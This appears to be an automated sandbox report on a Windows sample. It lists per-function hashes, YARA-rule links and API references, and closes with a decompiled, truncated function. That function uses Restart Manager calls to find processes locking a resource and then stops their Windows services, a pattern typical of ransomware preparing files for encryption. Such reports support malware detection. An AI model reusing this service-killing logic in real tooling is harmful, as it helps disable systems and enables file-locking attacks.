Instruction Fuzzy Hash: 29F0553630021457CB04BF3AE90566ABF94EFC2710B460068EE058B280D37199A2C750

Uniqueness

Uniqueness Score: 0.03%

Function 000CA740, Relevance: 1.5, APIs: 1, Instructions: 21encryptionCOMMON

Download Yara Rule

APIs

CryptReleaseContext.ADVAPI32(?,00000000), ref: 000CA756

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: ContextCryptRelease
String ID:
API String ID: 829835001-0
Opcode ID: 97f88a4953d396306580305576175349da51761edff022ed799db1bc2c4ca42f
Instruction ID: a02673ea9749760fe6abfc115df9ef309f5feba586c04e78149fb3fc04d1379e
Opcode Fuzzy Hash: 97f88a4953d396306580305576175349da51761edff022ed799db1bc2c4ca42f
Instruction Fuzzy Hash: 30E02B3174471823D3306B58AD45F8B7BDCAF12B55F04402EFA88F6282D7B1D84483E5

Uniqueness

Uniqueness Score: 0.03%

Function 0010E796, Relevance: 1.5, Strings: 1, Instructions: 214COMMON

Download Yara Rule

Strings

0, xrefs: 0010E906

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: __cftof
String ID: 0
API String ID: 1622813385-4108050209
Opcode ID: 2efc1733af966f6b45ef23ec5fe7bcca82ac8a594b1676a10f8663be680a3e9c
Instruction ID: ddffd8f5d5adf80ec923eb6e0d4343c1cd878108176360bb46f43edebaa1ec33
Opcode Fuzzy Hash: 2efc1733af966f6b45ef23ec5fe7bcca82ac8a594b1676a10f8663be680a3e9c
Instruction Fuzzy Hash: 8A5155716046499ADF38866B89557BE77C99B16304F188C1BE8C2CB3C2C7D6EE06D392

Uniqueness

Uniqueness Score: 0.15%

Function 000D3C80, Relevance: .8, Instructions: 806COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: Exception@8Throw
String ID:
API String ID: 2005118841-0
Opcode ID: af8c63222d69fbe9ee4c8bad9af89e68d715ce69da4f5c4bd47eb54e32ec6fe6
Instruction ID: 5de5da7b9d882c67d9681bfae5747f5593dca58d88d28c93a13c9fcdb01f55af
Opcode Fuzzy Hash: af8c63222d69fbe9ee4c8bad9af89e68d715ce69da4f5c4bd47eb54e32ec6fe6
Instruction Fuzzy Hash: 0E52A075A007059FDB24CF68C881BAAB7F5EF85314F18856EE916DB391D730E941CBA0

Uniqueness

Uniqueness Score: 0.00%

Function 000CB422, Relevance: .8, Instructions: 763COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID:
API String ID: 3761405300-0
Opcode ID: 3915c6f28c1b0a31026fc19bce6ffd7b65dbf6a2132bd31eeec2e5a39cff1775
Instruction ID: a519e0bb16628c5c4521d8e6a9f55e530dd1deb028d200aff37fd3810f4813db
Opcode Fuzzy Hash: 3915c6f28c1b0a31026fc19bce6ffd7b65dbf6a2132bd31eeec2e5a39cff1775
Instruction Fuzzy Hash: 5582D574D512588FCB18CFA8D491AEDBBF1FB4E310F14405AE556BB391CA38A981CF60

Uniqueness

Uniqueness Score: 0.00%

Function 000B7610, Relevance: .6, Instructions: 587COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 478d69c45048a764cf7e15c39a6b27cb5638431f61ca3433390cad8882e1b2dd
Instruction ID: 1fc580396afc62466d8528887b745ec9f6e7c0daf91994c2bc84b182f08620ea
Opcode Fuzzy Hash: 478d69c45048a764cf7e15c39a6b27cb5638431f61ca3433390cad8882e1b2dd
Instruction Fuzzy Hash: 2732A4757002148FDB48CF0DCC94B89B3E6EF88328F1EC169A81D8BB56D675EC958B85

Uniqueness

Uniqueness Score: 0.00%

Function 000B8790, Relevance: .5, Instructions: 541COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f53cc95fde89aa4cef05952ff9b777555007ab3e360fd9e68e3c61384d9b702
Instruction ID: decb941eda687d85741e13f5a12db49eadb387d09e43f43b742f5fe7a604154d
Opcode Fuzzy Hash: 0f53cc95fde89aa4cef05952ff9b777555007ab3e360fd9e68e3c61384d9b702
Instruction Fuzzy Hash: 27125C72B002159BCB08CE5DC891799F7F6EF88324F19817DE81ADB751EA78ED458B80

Uniqueness

Uniqueness Score: 0.00%

Function 000D3E60, Relevance: .5, Instructions: 491COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: Exception@8Throw
String ID:
API String ID: 2005118841-0
Opcode ID: 216d653d6fd46fa60fb9006722665cf94984476ce556110ffdfdd195e95fbe6d
Instruction ID: 0f9c25e608178a2ec9d4efd332b67fd592639a030d1aa352a192ddc84d7eac21
Opcode Fuzzy Hash: 216d653d6fd46fa60fb9006722665cf94984476ce556110ffdfdd195e95fbe6d
Instruction Fuzzy Hash: C6122A74A007058FDB64CF29C490B6AB7F1FF89714B18856ED816DB791EB31E811CBA0

Uniqueness

Uniqueness Score: 0.00%

Function 000A4CC0, Relevance: .5, Instructions: 465COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: Exception@8Throw$FeaturePresentProcessor___raise_securityfailure
String ID:
API String ID: 54583454-0
Opcode ID: 81255f4a2880958a7de5e685de8aefab7ffd35760b6856aedb4e81b72fa4e514
Instruction ID: b54b60b8584988099379a3349a92d3c078508b92d0c1c412a10414a2c16fc39c
Opcode Fuzzy Hash: 81255f4a2880958a7de5e685de8aefab7ffd35760b6856aedb4e81b72fa4e514
Instruction Fuzzy Hash: DF12B070900649DFCB24DFA8C950BEDB7F5BF95300F148699E45AA7282DB70AE85CB90

Uniqueness

Uniqueness Score: 0.00%

Function 000C7BE0, Relevance: .4, Instructions: 442COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: Exception@8Throw
String ID:
API String ID: 2005118841-0
Opcode ID: 1e2fa62c6e67e04e092530dd3907f635a49839085e9a52829a4a1327ad39c647
Instruction ID: 8e2fb49bf86d22e62b1a0377edf0642ddb41f5052c298459730f399f672652b5
Opcode Fuzzy Hash: 1e2fa62c6e67e04e092530dd3907f635a49839085e9a52829a4a1327ad39c647
Instruction Fuzzy Hash: 67022872E006199FCB18DF98C894AEEB7B6FF48314F15416DE81AAB355DB30AD05CB90

Uniqueness

Uniqueness Score: 0.00%

Function 000CBDC7, Relevance: .4, Instructions: 401COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c2a47fd92bb48ff304617620e30e659ddeed7a2005f06458433ddbe2e22597b
Instruction ID: 1e17f7ec03e1bbc83ccdecc3a4c62510ab2f73905e900495099b37ac996d1dd8
Opcode Fuzzy Hash: 6c2a47fd92bb48ff304617620e30e659ddeed7a2005f06458433ddbe2e22597b
Instruction Fuzzy Hash: 68029F3280A2B49FDB92EF5ED8405AB73F4FF90355F43892ADD8163241D335EA099794

Uniqueness

Uniqueness Score: 0.00%

Function 00067850, Relevance: .3, Instructions: 317COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: _strcspn$FeaturePresentProcessor___raise_securityfailure
String ID:
API String ID: 733729517-0
Opcode ID: 373842211d4403d12a09db5a7fd965d9afbdff917a6a424ab8834d9487f7d665
Instruction ID: 824f55b3e50e50bc52565a572922ec1910227ceae44e9f3ac7482f5fa12058d2
Opcode Fuzzy Hash: 373842211d4403d12a09db5a7fd965d9afbdff917a6a424ab8834d9487f7d665
Instruction Fuzzy Hash: 9BB1B271A00608ABDF19DFA4DC41EEEBBBAFF49304F004129F815AB691DB35A951CB91

Uniqueness

Uniqueness Score: 0.00%

Function 000D5AD0, Relevance: .2, Instructions: 216COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13c7585cdce87ee73ee22f540f38a2e7939d66f2b3982691beaff219dd5f25ac
Instruction ID: e9d8aae43f37c408c4fd969513a6d4ccedd92af203a6bcd5a9d456ed5aa18379
Opcode Fuzzy Hash: 13c7585cdce87ee73ee22f540f38a2e7939d66f2b3982691beaff219dd5f25ac
Instruction Fuzzy Hash: 03917E71C08B989AEB128FACCC426E9B7B1EF54319F189356DD8877252F730AA85C750

Uniqueness

Uniqueness Score: 0.00%

Function 000B4060, Relevance: .2, Instructions: 209COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1fc97088e59fdce026f2d0065bd70b9ceb8beb9955f0c85e79447ad5354735e0
Instruction ID: 4486fa8939734d9cec60bfc7dedd9508b03c083f4d2efd582eb7cb80567938d6
Opcode Fuzzy Hash: 1fc97088e59fdce026f2d0065bd70b9ceb8beb9955f0c85e79447ad5354735e0
Instruction Fuzzy Hash: 3B917B71E0025A8BDF11CF7CC5815EDB7B1FFA8348B158769EC54AB206E730BA958B50

Uniqueness

Uniqueness Score: 0.00%

Function 000B3E50, Relevance: .2, Instructions: 176COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7132b4d8a1179c0b9a8ebcd3f68156c9397191ae47308a9abc313a8bb2f4409
Instruction ID: b697705384474adff305117dc98ff80f64589e0e1a3b0f840a2ec689aca56362
Opcode Fuzzy Hash: c7132b4d8a1179c0b9a8ebcd3f68156c9397191ae47308a9abc313a8bb2f4409
Instruction Fuzzy Hash: F261CF32D152599BCF12CF79C5815DDB7B1AFEA204B25C396EC6877206E730BA819B80

Uniqueness

Uniqueness Score: 0.00%

Function 00086CF0, Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 718dc8f06dd7f51f1a441543cfc5a85390968fbca114d5ac97ff172ec11fc892
Instruction ID: c343d9d5d6ce9e27df2ac92b0ecf341149731b549f0c1b4aa8893b92b8d7e966
Opcode Fuzzy Hash: 718dc8f06dd7f51f1a441543cfc5a85390968fbca114d5ac97ff172ec11fc892
Instruction Fuzzy Hash: 52515776B0431A8FC714EF2CC84056AB7E2BB84350F468A2DE992CB744D772E915CB91

Uniqueness

Uniqueness Score: 0.00%

Function 000CB07A, Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea0834652555ffe3177b6338dd0aa7e98bdaf0176d717a8e386efb9f042b9e00
Instruction ID: ee418cd95c9aae7fe587c49f0d443146ebb5da2c1570d6d797126539b028ed8d
Opcode Fuzzy Hash: ea0834652555ffe3177b6338dd0aa7e98bdaf0176d717a8e386efb9f042b9e00
Instruction Fuzzy Hash: 8A517072D1C4B810EB1D427E48B23FDBEF29B85202F0E81AED9A3A56D9C53943469B50

Uniqueness

Uniqueness Score: 0.00%

Function 000B42E0, Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee4439147b8e6c19118624cc260a2903c82b8d0627138ed8bf35ca30b9599193
Instruction ID: 5571afe65431b957e36260c41fba1b4cb169200b279395ee8e2ab476844b80b8
Opcode Fuzzy Hash: ee4439147b8e6c19118624cc260a2903c82b8d0627138ed8bf35ca30b9599193
Instruction Fuzzy Hash: 5B51CE32D046998BDB11CF3CC5855ECB7B1BFA9348B1AC399D8486B117EB30BB858740

Uniqueness

Uniqueness Score: 0.00%

Function 000785B0, Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27398a6bd04e7b042c2df0dd4eefd57469496f7df0cf8f294bdbd0d9e34c2454
Instruction ID: c8faeed8834b0828294f508eb4ec7dd568d999dccb8a7cd42bad6bb2e90a83eb
Opcode Fuzzy Hash: 27398a6bd04e7b042c2df0dd4eefd57469496f7df0cf8f294bdbd0d9e34c2454
Instruction Fuzzy Hash: A0419332B615128BD708CF3DC895BA5F7E1FB98310F5587A9E42ACB2C1DB35E9148B84

Uniqueness

Uniqueness Score: 0.00%

Function 000D5F30, Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 413853c3c272339b898c233813517b59cd4f5f6d4b53d0ba78c8177a8283d0a2
Instruction ID: 79094b8bf354380fae32f640b43d8bc5895064d8b952ee1583d24174f0faba7b
Opcode Fuzzy Hash: 413853c3c272339b898c233813517b59cd4f5f6d4b53d0ba78c8177a8283d0a2
Instruction Fuzzy Hash: F15126B59007048FD765CF28D4829AAB7F0FF59300B548A6EE44AE7701EB31FA44CB90

Uniqueness

Uniqueness Score: 0.00%

Function 00104830, Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 8f2f723cd1057edab53efbeb6e41af22095369c9135445537d809705c9357389
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 57110BF72010C143E608CAADD8F45B69395EBC532172DCB7BD3C14B6D4D3A2E9559600

Uniqueness

Uniqueness Score: 0.00%

Function 000C6B10, Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 649923d594ab393b2601f52b394ab068205a17e74d6cd955f78512bf274b2c60
Instruction ID: 93969cec6764f44f451c7a44d2de8c4c05cedadcb1780d10ce5f7d69d547283a
Opcode Fuzzy Hash: 649923d594ab393b2601f52b394ab068205a17e74d6cd955f78512bf274b2c60
Instruction Fuzzy Hash: E411E5319300784BCB64EF59F8D8B36B3E5E782301349429EDE85CB545C735E955D7A0

Uniqueness

Uniqueness Score: 0.00%

Function 000949D0, Relevance: 26.6, APIs: 11, Strings: 4, Instructions: 333
servicesleepUNIQUE

Download Yara Rule

C-Code - Quality: 59%

			E000949D0(void* __ecx, void* __edx, char _a3) {
				short* _v8;
				char _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				signed int _v28;
				void* _v32;
				char _v40;
				char _v52;
				char _v88;
				intOrPtr _v92;
				signed int _v96;
				long* _v100;
				char _v112;
				signed int _v116;
				short* _v120;
				short** _v136;
				long _v148;
				intOrPtr _v168;
				struct _SERVICE_STATUS _v172;
				char _v176;
				char _v180;
				char _v184;
				char _v188;
				void* _v192;
				void* _v196;
				void* _v200;
				intOrPtr _v204;
				char _v208;
				signed int _v316;
				unsigned int _v328;
				unsigned int _v332;
				signed int _v336;
				short* _v352;
				char _v360;
				short* _v364;
				short* _v368;
				int _v372;
				short* _v376;
				short** _v380;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t166;
				signed int _t167;
				signed int _t169;
				char _t177;
				void* _t182;
				char _t183;
				signed int _t188;
				short** _t193;
				void* _t198;
				unsigned int _t206;
				unsigned int _t213;
				signed int _t218;
				signed int _t224;
				void* _t233;
				signed int _t234;
				signed int _t239;
				signed int _t243;
				signed int _t249;
				signed int _t255;
				void* _t256;
				signed int _t258;
				struct _SERVICE_STATUS* _t267;
				short** _t282;
				char* _t286;
				void* _t294;
				signed int _t296;
				void* _t300;
				long _t302;
				short** _t313;
				signed int _t314;
				signed int _t316;
				unsigned int _t322;
				signed int _t324;
				signed int _t328;
				char* _t335;
				short** _t337;
				signed int _t339;
				void* _t341;
				signed int _t346;
				signed int _t352;
				signed int _t353;
				void* _t355;
				intOrPtr _t359;
				signed int _t360;
				void* _t361;
				long* _t362;
				short** _t364;
				signed int _t368;
				signed int _t370;
				short** _t372;
				void* _t380;
				signed int _t381;
				void* _t383;
				signed int _t384;
				signed int _t386;
				signed int _t388;
				signed int _t389;
				void* _t390;
				void* _t393;
				signed int _t396;
				void* _t398;
				signed int _t404;
				void* _t405;
				void* _t407;
				void* _t408;
				signed int _t410;

				_t396 = _t404;
				_push(0xffffffff);
				_push(0x1313b8);
				_push( *[fs:0x0]);
				_t405 = _t404 - 0xc0;
				_t166 =  *0x16f170; // 0xd529e887
				_t167 = _t166 ^ _t396;
				_v20 = _t167;
				_push(_t378);
				_push(_t362);
				_push(_t167);
				 *[fs:0x0] =  &_v16;
				_t294 = __ecx;
				_t169 =  *0x17a6b8; // 0x0
				if((_t169 & 0x00000001) != 0) {
					L12:
					if( *0x17a6bc == 0) {
						L46:
						 *[fs:0x0] = _v16;
						return E000ECED8(_v20 ^ _t396);
					} else {
						if((_t169 & 0x00000002) == 0) {
							 *0x17a6b8 = _t169 | 0x00000002;
							_v8 = 5;
							 *0x17a6c4 = E0008EE00(0x17a6bc, _t362, _t378, "RmStartSession");
							_v8 = 0xffffffff;
							_t169 =  *0x17a6b8; // 0x0
						}
						if((_t169 & 0x00000004) == 0) {
							 *0x17a6b8 = _t169 | 0x00000004;
							_v8 = 6;
							 *0x17a6c8 = E0008EE00(0x17a6bc, _t362, _t378, "RmRegisterResources");
							_v8 = 0xffffffff;
							_t169 =  *0x17a6b8; // 0x0
						}
						if((_t169 & 0x00000008) == 0) {
							 *0x17a6b8 = _t169 | 0x00000008;
							_v8 = 7;
							 *0x17a6c0 = E0008EE00(0x17a6bc, _t362, _t378, "RmGetList");
							_v8 = 0xffffffff;
						}
						E001053E0(_t362,  &_v88, 0, 0x42);
						_t407 = _t405 + 0xc;
						_push( &_v88);
						_push(0);
						_push( &_v184);
						if( *0x17a6c4() != 0) {
							goto L46;
						} else {
							if( *((intOrPtr*)(_t294 + 0x14)) >= 8) {
								_t294 =  *_t294;
							}
							_v192 = _t294;
							_t177 =  *0x17a6c8(_v184, 1,  &_v192, 0, 0, 0, 0);
							_t437 = _t177;
							if(_t177 != 0) {
								goto L46;
							} else {
								_t408 = _t407 - 8;
								_v188 = _t177;
								_v180 = _t177;
								_v176 = _t177;
								E00094E90( &_v100, _t437);
								_v8 = 8;
								_t182 =  *0x17a6c0(_v184,  &_v180,  &_v176, _v100,  &_v188);
								if(_t182 == 0 || _t182 == 0xea) {
									_t183 = _v180;
									if(_t183 != 0) {
										_v176 = _t183;
										_push( &_v100);
										_push(_t183);
										L56();
										_push( &_v188);
										_push(_v100);
										_push( &_v176);
										_push( &_v180);
										_push(_v184);
										if( *0x17a6c0() == 0) {
											_t188 = _v96;
											_t362 = _v100;
											_v204 = _t188;
											if(_t362 != _t188) {
												do {
													_t380 = OpenProcess(1, 0,  *_t362);
													_v200 = _t380;
													if(_t380 == 0) {
														goto L44;
													} else {
														E00064600( &_v136,  &(_t362[0x83]));
														_t294 = OpenSCManagerW(0, 0, 5);
														_v196 = _t294;
														if(_t294 != 0) {
															_t330 =  >=  ? _v136 :  &_v136;
															_t393 = OpenServiceW(_t294,  >=  ? _v136 :  &_v136, 0x2c);
															if(_t393 != 0) {
																E000947F0(_t294, _t393, _t294, _t362, _t393);
																ControlService(_t393, 1,  &_v172);
																_t302 = GetTickCount();
																if(_v168 != 1) {
																	do {
																		Sleep(_v148);
																		_t267 =  &_v172;
																		__imp__QueryServiceStatusEx(_t393, 0, _t267, 0x24,  &_v208);
																	} while (_t267 != 0 && _v168 != 1 && GetTickCount() - _t302 <= 0x1388 && _v168 != 1);
																}
																CloseServiceHandle(_t393);
																_t294 = _v196;
															}
															CloseServiceHandle(_t294);
															_t380 = _v200;
														}
														_t339 = _v116;
														if(_t339 < 8) {
															L43:
															CloseHandle(_t380);
															goto L44;
														} else {
															_t313 = _v136;
